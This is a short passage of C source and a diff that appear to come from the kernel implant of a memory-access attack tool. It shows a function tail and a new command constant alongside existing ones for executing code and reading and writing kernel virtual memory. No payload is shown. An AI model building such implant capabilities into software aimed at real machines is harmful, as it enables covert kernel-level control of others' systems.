if(isModeLargeTransfer) {
WriteLargeOutput_Finish(fnk, pk);
}
pk->dataOutExtraLength = (QWORD)_io.Information;
pk->dataOut[0] = nt;
cleanup:
fnk->RtlFreeUnicodeString(&_su);
}
}

View File

@@ -252,6 +252,7 @@ VOID stage3_c_EntryPoint(PKMDDATA pk)
#define KMD_CMD_EXEC 5
#define KMD_CMD_READ_VA 6
#define KMD_CMD_WRITE_VA 7
#define KMD_CMD_EXEC_EXTENDED 8
// status:
// 1: ready for command